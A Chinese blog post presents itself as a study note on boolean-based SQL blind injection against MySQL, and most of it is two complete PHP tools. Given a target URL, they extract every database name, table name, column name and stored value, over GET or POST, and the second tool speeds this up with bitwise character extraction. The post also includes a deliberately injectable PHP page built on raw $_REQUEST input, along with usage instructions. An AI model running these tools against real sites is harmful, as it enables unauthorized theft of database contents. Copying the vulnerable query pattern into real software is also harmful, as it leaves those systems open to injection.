写点什么

让你轻松学会 PHP 版自动化 SQL 盲注工具 - 全库 - 全表 - 全字段 - 全字段值查询

用户头像
H
关注
发布于: 2 小时前

前言

由于一些个人原因,很久没有研究 WEB 安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补。兜兜转转到了 SQL 盲注部分,然后在 SQL 盲注上面下了不少功夫,因为最初没有怎么去理解它,都是拿着 sqlmap 一顿梭。原谅我非要把我的学习过程写下来,取工具翻到最下最下最下就 OK 了。hhh。


information_schema 图

看什么看,这就是一张图片


因为 SQL 盲注时注入数据会常用到 information_schema 库,所以自己总结成一张图片大家也抽空记忆一下


SQL 盲注简单又”复杂”的方法

针对于 SQL 盲注我们不会像联合注入一样非常轻松,有时需要 burpsuite 进行爆破,有时我们需要安装 sqlmap(没有 sqlmap 我玩个寂寞啊),而有时结构复杂我们又非得自己写工具,所以我们先看看关于 SQL 盲注的一些方法吧。

对于 Mysql 的内置函数,如 database()等函数还是比较容易的。

在页面返回 true 或 false 的情况下我们可以通过逻辑与运算,来进行判断 database()函数的长度,例如 and length((select database()))=1、and length((select database()))=2、and length((select database()))=3...直到页面返回 true。随后可以借助 mid/substr 字符串截取函数来进行一个一个字符的猜解。例如:and substr(database(),1,1)=’r’。那么当我们要进行获取数据库内的信息时,我们需要借助 information_schema 库。但针对于 SQL 盲注来讲,information_schema 库我们如果手工的话,可能这个夏天要过去了吧。

首先这里先了解一下盲注 information_schema 库是怎么个玩法,再来编写脚本。

我们要知道 information_schema.schemata 的 schema_name 有几条(总共有几个数据库?),还要通过 schema_name 的条数来通过 limit 来对每一条的长度进行计算(我要得到的信息有几位字母/数?),然后我们通过字符的长度来通过 substr 截取出来然后判断每一个字符是什么(我要得到的信息是什么?)。好了,你成功的得到了一条数据。

我们的算法就是非常简单,就是一个一个试,试一年,拿一个字符是一个字符,拿一条数据库信息就是赚到,安全就是这么勤奋且有趣


针对于 SQL 盲注简单又”复杂”的方法的 PHP 脚本编写

<!DOCTYPE html><html><head>        <title>SQL盲注工具-.-By:T00ls</title>        <meta charset="utf-8"></head><body><?phpini_set('max_execution_time',0);$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';
$_az = range('a','z');$_AZ = range('A','Z');$_19 = range('1','9');$_other = array('@','_','.','%','/');$_sum = array_merge($_az,$_AZ,$_19,$_other);

$sqlUrl = 'http://www.phptest.com/6.php?id=1';$okContent = file_get_contents($sqlUrl);
if(!$dbname){ $DBCount = 1; while(true){//获取count $InjectionStatement = '+and+(select+count(schema_name)+from+information_schema.schemata)='.$DBCount.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ break; }else{ $DBCount ++; } } $DBLengthArr = array(); for($i = 0; $i < $DBCount; $i++){ $TempNum = 1; while(true){ $InjectionStatement = '+and+length((select+schema_name+from+information_schema.schemata+limit+'.$i.',1))='.$TempNum.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $DBLengthArr[$i] = $TempNum; break; }else{ $TempNum ++; } } } $DBNameArr = array(); foreach ($DBLengthArr as $Llimit => $dblength) { for ($i=1; $i <= $dblength; $i++) { foreach ($_sum as $key => $value) { $InjectionStatement = '+and+mid((select+schema_name+from+information_schema.schemata+limit+'.$Llimit.',1),'.$i.',1)="'.$value.'"'.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $DBNameArr[$Llimit] .= $value; break; } } } } $DBName = implode('<br>',$DBNameArr); die('盲注完成,当前数据库名称有:<br>'.$DBName);}else{ $InjectionStatement = '+and+find_in_set("'.$dbname.'",(SELECT+group_concat(schema_name,",")+FROM+information_schema.schemata+where+schema_name="'.$dbname.'"))'.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting <> $okContent){ die($dbname.'数据库不存在,请重新复制粘贴,谢谢'); }}
if(!$tablename){ $TBcountFlag = false; $TBlength = 1;
while(true){ $InjectionStatement = '+and+(SELECT+count(*)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'")='.$TBlength.'+--+'; if(file_get_contents($sqlUrl.$InjectionStatement) == $okContent){ break; }else{ $TBlength ++; } } $TBNameArr = array(); $TBSubArr = array();
for($i = 1; $i <= $TBlength; $i++){ $TBFlag = 1; while(true){ $InjectionStatement = '+and+(SELECT+length(table_name)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.($i-1).',1)='.$TBFlag.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $TBSubArr[$i-1] .= $TBFlag; break; }else{ $TBFlag ++; } } }
foreach ($TBSubArr as $k => $v) { for($j = 1; $j <= $v; $j++){ foreach ($_sum as $key => $value) { $InjectionStatement = '+and+mid((SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $TBNameArr[$k] .= $value; break; } } } }
$TBstring = implode('<br>',$TBNameArr); die('盲注完成,数据库'.$dbname.'所拥有的表:<br>'.$TBstring);
}else{ $InjectionStatement = '+and+find_in_set("'.$tablename.'",(SELECT+group_concat(table_name,",")+FROM+information_schema.tables+where+table_name="'.$tablename.'"+and+table_schema=+"'.$dbname.'"))'.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting <> $okContent){ die($tablename.'表不存在,请重新复制粘贴,谢谢'); }}
if(!$columnname){ $ColumnCount = 1; while(true){ $InjectionStatement = '+and+(select+count(column_name)+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'")='.$ColumnCount.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ break; }else{ $ColumnCount ++; } }
$EveryColumnCountArr = array(); for ($i=0; $i < $ColumnCount; $i++) { $EveryColumnCount = 1; while (true) { $InjectionStatement = '+and+length((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$i.',1))='.$EveryColumnCount.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $EveryColumnCountArr[$i] = $EveryColumnCount; break; }else{ $EveryColumnCount ++; } } } $CMNameArr = array(); foreach ($EveryColumnCountArr as $k => $v) { for($j = 1; $j <= $v; $j++){ foreach ($_sum as $key => $value) { $InjectionStatement = '+and+mid((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $CMNameArr[$k] .= $value; break; } } } } $CMstring = implode('<br>',$CMNameArr); die('盲注完成,数据库'.$dbname.'中'.$tablename.'表所拥有的字段:<br>'.$CMstring);}
if($dbname && $tablename && $columnname){ $strLen = 0; $columnTrueCount = ''; $columnname = explode(',', $columnname); $columnCount = 1; while (true) { $InjectionStatement = '+and+(select+count('.$columnname[0].')+from+'.$dbname.'.'.$tablename.')='.$columnCount.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $columnTrueCount = $columnCount; break; }else{ $columnCount ++; } }
$columnLength = array(); foreach ($columnname as $key => $value) { for ($i=0; $i < $columnTrueCount; $i++) { $flagLength = 1; while (true) { $InjectionStatement = '+and+length((select+'.$value.'+from+'.$dbname.'.'.$tablename.'+limit+'.$i.',1))="'.$flagLength.'"'.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $columnLength[$i][$value] = $flagLength; break; }else{ $flagLength ++; } } } }
$ColumnContent = array(); foreach ($columnLength as $lTrim => $lTrimValue) { foreach ($lTrimValue as $columnNames => $columnNamesLength) { for ($i=1; $i <= $columnNamesLength; $i++) { foreach ($_sum as $key => $value) { $InjectionStatement = '+and+mid((select+'.$columnNames.'+from+'.$dbname.'.'.$tablename.'+limit+'.$lTrim.',1),'.$i.',1)="'.$value.'"'.'+--+'; $DBTesting = file_get_contents($sqlUrl.$InjectionStatement); if($DBTesting == $okContent){ $ColumnContent[$lTrim][$columnNames] .= $value; break; } } } } }}?><table border=1> <tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody> <tr> <?php foreach($columnname as $k=>$v):?> <th><?php echo $v;?></th> <?php endforeach;?> </tr> <?php foreach($ColumnContent as $k => $v):?> <tr> <?php foreach($v as $key=>$value):?> <td><?php echo $value;?></td> <?php endforeach;?> </tr> <?php endforeach;?></table></body></html>
复制代码

归根到底,复习还是复习,虽然算法比较简单明了,也是需要尝试一遍,花了一些时间实现了 0x02 所说的编写思路,吐槽一下,代码还是要天天写,很久没写确实写法都不一样了,上述代码是完全通过面向过程编写,都没有封装方法,导致我只实现了 get 请求的获取方式。然后找一处 SQL 盲注的页面:

<?php
$mysqli = new mysqli('localhost','root','root','选择的数据库',3306);if($mysqli -> connect_error){ die($mysqli -> connect_errno);}$mysqli -> set_charset('utf8');$sql = "SELECT * FROM `user` WHERE id={$_REQUEST['id']}";//echo $_REQUEST['id'];$res = $mysqli -> query($sql);if($res){ $row = $res->fetch_assoc(); if($row){ echo 'yes'; }else{ echo 'no'; }}else{ echo 'SQL语句错误'.$sql;}
复制代码

使用说明书:1.在 21 行中填写我们要盲注的站点(注入类型必须为数字型)2.在什么都不知道的情况下访问一下该页面。


可以看到完全一一对应 3.添加参数?dbname=要选择查询的数据库



4.紧接着传入参数 tablename=要选择查询的表



5.传入参数 columnname=字段 1,字段 2....


通过 Mysql 位运算来优化访问频率 

我们当然知道上面工具的执行效率,一个字,低!!!然而我们会想到二分法等算法来优化我们的代码。但是这里给大家介绍的是 Mysql 位运算。我们知道二分法是通过 ascii 码来进行取大取小的,想到 ascii 码就有趣了。如图:字符 a 的 ASCII 码值为 97



那么我们看一下它的二进制



是 1100001 一共七位字符串,因为 ASCII 码值 1-127,十转二进制 255 为最大,所以这里不会出现八位的情况。那么我们通过 substr/mid 函数来依次截取二进制的第一位、二进制的第二位、.....、二进制的第七位依次对 1 进行位运算中的与运算。与运算图:



然后通过与运算我们就可以获取到数据的真正二进制数值,下面我们简单获取一下 r 字符的二进制码。


将每次的结果进行拼接,可以得到 r 字母的 ASCII 值的二进制数。那么我们进行二进制转换为 10 进制,ASCII 码转字符,即可知道数据的第一位是什么。数据表中的每一位字符只需要七次就可以完成,比第一种方式快了许多许多。那么我们这里要注意的是,mysql 的 bin 函数结果不够八位前面是没有 0 字符的,因为我编写脚本踩了坑,导致我盲注了一些非常古怪的字符。。。我们通过 mysql 的 lpad 函数来进行前面补零,如图:



还要注意的是数字类型返回六位二进制,如图:



还好 MySQL 提供了补零函数,不然自己搞起来是真的麻烦。

整个逻辑搞清楚开始编写位运算盲注代码

Mysql 位运算盲注代码

这里为了不犯面向过程的错误,封装了几个方法,并且加入了 POST 请求盲注方式代码如下:

<!DOCTYPE html><html><head>        <title>SQL盲注工具-.-By:T00ls</title>        <meta charset="utf-8"></head><body><?phpini_set('max_execution_time',0);$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';$method = isset($_GET['method']) ? $_GET['method'] : 'get';
$InjectionUrl = 'http://www.phptest.com/6.php?id=1'; /* 如果遇到字符型SQL注入请在id前面添加单引号闭合 !!!*/
if($method == 'post'){ $data = array( 'id' => '1{\'_T00ls_}', /* {XXX_T00ls_} 如果遇到字符串型SQL注入,请将XXX部分改为单引号自行闭合 !!!*/ 'pass' => 'admin888' ); $okContentData = $data; function sendValue($sql){ global $data,$InjectionUrl; $tempData = $data; foreach ($tempData as $key => $value) { preg_match('/\{.*?_T00ls_\}/', $value,$match); if($match[0]){ $tempData[$key] = str_replace('_T00ls_', $sql, $value).' -- \\'; $tempData[$key] = str_replace('{', '', $tempData[$key]); $tempData[$key] = str_replace('}', '', $tempData[$key]); //echo $tempData[$key].'<br>'; } }
$requestBody = http_build_query($tempData); $option = array( 'http' => array( 'method' => 'POST', 'header' => "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody), 'content' => $requestBody ) ); $context = stream_context_create($option); $response = file_get_contents($InjectionUrl,false,$context); return $response; } foreach ($okContentData as $key => $value) { preg_match('/\{.*?_T00ls_\}/', $value,$okmatch); if($okmatch[0]){ $okContentData[$key] = str_replace($okmatch[0], '', $value); } } $ok_requestBody = http_build_query($okContentData); $ok_option = array( 'http' => array( 'method' => 'POST', 'header' => "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($ok_requestBody), 'content' => $ok_requestBody ) ); $ok_context = stream_context_create($ok_option); $okContent = file_get_contents($InjectionUrl,false,$ok_context); //echo $okContent;exit;}else{ function sendValue($sql){ global $InjectionUrl; $Url = $InjectionUrl.$sql.' -- \\'; $result = file_get_contents($Url); return $result; } $okContent = file_get_contents($InjectionUrl.'+--+');}

if(!$dbname){ $DBCount = 1; while(true){ $InjectionStatement = ' and (SELECT count(SCHEMA_NAME) FROM information_schema.schemata)='.$DBCount; if(sendValue($InjectionStatement) == $okContent){ break; }else{ $DBCount ++; } } $DBEveryLength = array(); for ($limit=0; $limit < $DBCount; $limit++) { $DBLength = 0; while(true){ $InjectionStatement = " and length((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1))={$DBLength}"; if(sendValue($InjectionStatement) == $okContent){ break; }else{ $DBLength ++; } } $DBEveryLength[] = $DBLength; } $DBEveryString = array(); foreach ($DBEveryLength as $limit => $maxLength) { for($substr = 1; $substr <= $maxLength; $substr++){ $str = '0'; for ($count=1; $count <= 7; $count++) { /*$InjectionStatement = " and substr(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),{$count},1)%261";*/ $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),7,0),{$count},1)%261"; if(sendValue($InjectionStatement) == $okContent){ $str .= 1; }else{ $str .= 0; } } $DBEveryString[$limit] .= chr(bindec($str)); } } $DBName = implode('<br>',$DBEveryString); die('盲注完成,当前数据库名称有:<br>'.$DBName);}
if(!$tablename){ $tableCount = 1; while(true){ $InjectionStatement = " and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='{$dbname}')={$tableCount}"; if(sendValue($InjectionStatement) == $okContent){ break; }else{ $tableCount ++; } } $tableLengthArr = array(); for ($limit=0; $limit < $tableCount; $limit++) { $tableLength = 0; while (true) { $InjectionStatement = " and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1))={$tableLength}"; if(sendValue($InjectionStatement) == $okContent){ break; }else{ $tableLength ++; } } $tableLengthArr[] = $tableLength; }

$TBEveryString = array(); foreach ($tableLengthArr as $limit => $max_length) { for ($substr = 1; $substr <= $max_length; $substr++) { $str = '0'; for ($count = 1; $count <= 7; $count++) { $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261"; if(sendValue($InjectionStatement) == $okContent){ $str .= 1; }else{ $str .= 0; } } $TBEveryString[$limit] .= chr(bindec($str)); } } $TBName = implode('<br>',$TBEveryString); die("盲注完成,当前{$dbname}数据库名称有:<br>".$TBName);}
if(!$columnname){ $columnCount = 1; while(true){ $InjectionStatement = " and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}')={$columnCount}"; if(sendValue($InjectionStatement) == $okContent){ break; }else{ $columnCount ++; } } $columnLengthArr = array(); for ($limit=0; $limit < $columnCount; $limit++) { $columnLength = 0; while (true) { $InjectionStatement = " and length((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}' limit {$limit},1))={$columnLength}"; if(sendValue($InjectionStatement) == $okContent){ break; }else{ $columnLength ++; } } $columnLengthArr[] = $columnLength; } $CNEveryString = array(); foreach ($columnLengthArr as $limit => $max_length) { for ($substr = 1; $substr <= $max_length; $substr++) { $str = '0'; for ($count = 1; $count <= 7; $count++) { $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' and table_name='{$tablename}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";
if(sendValue($InjectionStatement) == $okContent){ $str .= 1; }else{ $str .= 0; } } $CNEveryString[$limit] .= chr(bindec($str)); } } $CNName = implode('<br>',$CNEveryString); die("盲注完成,当前{$dbname}数据库{$tablename}表名称有:<br>".$CNName);}
if($dbname && $tablename && $columnname){ $strLen = 0; $columnTrueCount = ''; $columnname = explode(',', $columnname); $columnCount = 1; while (true) { $InjectionStatement = ' and (select count('.$columnname[0].') from '.$dbname.'.'.$tablename.')='.$columnCount; if(sendValue($InjectionStatement) == $okContent){ $columnTrueCount = $columnCount; break; }else{ $columnCount ++; } }
$columnLength = array(); foreach ($columnname as $key => $value) { for ($i=0; $i < $columnTrueCount; $i++) { $flagLength = 1; while (true) { $InjectionStatement = ' and length((select '.$value.' from '.$dbname.'.'.$tablename.' limit '.$i.',1))="'.$flagLength.'"'; if(sendValue($InjectionStatement) == $okContent){ $columnLength[$i][$value] = $flagLength; break; }else{ $flagLength ++; } } } }
$ColumnContent = array(); foreach ($columnLength as $lTrim => $lTrimValue) { foreach ($lTrimValue as $columnNames => $columnNamesLength) { for ($i=1; $i <= $columnNamesLength; $i++) { $str = 0; for ($k=1; $k <= 7; $k++) { $InjectionStatement = " and substr(lpad(bin(ord(mid((SELECT {$columnNames} FROM {$dbname}.{$tablename} limit {$lTrim},1),{$i},1))),7,0),{$k},1)%261"; if(sendValue($InjectionStatement) == $okContent){ $str .= 1; }else{ $str .= 0; } } $ColumnContent[$lTrim][$columnNames] .= chr(bindec($str)); } } }}?><table border=1> <tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody> <tr> <?php foreach($columnname as $k=>$v):?> <th><?php echo $v;?></th> <?php endforeach;?> </tr> <?php foreach($ColumnContent as $k => $v):?> <tr> <?php foreach($v as $key=>$value):?> <td><?php echo $value;?></td> <?php endforeach;?> </tr> <?php endforeach;?></table></body></html>
复制代码

使用说明书:1.还是之前的?dbname&tablename&columnname 来进行获取数据 2.添加?method=get/post 来表明通过哪种方式盲注,如图:



3.若要进行 POST 请求请在 19-20 行设置字段,如图:



4.GET 请求如果遇到字符串类型也需要自行闭合单引号,如图:


工具使用注意事项 

因为工具由 PHP 编写,而 SQL 盲注属于较大的工程,比较耗时间,PHP 容器有时可能会报 503 超时错误,我们需要在 nginx.conf 文件中添加如下配置项 fastcgi_connect_timeout 300;fastcgi_send_timeout 300;fastcgi_read_timeout 300;



 尾巴

顶个帖子,谢谢阅读完,想看更多内容请到主页观看!!!

 

白嫖怪的福音来了

免费领取价值11980安全学习资料包



用户头像

H

关注

还未添加个人签名 2021.07.04 加入

想白嫖网安学习资料的,扣我

评论

发布
暂无评论
让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询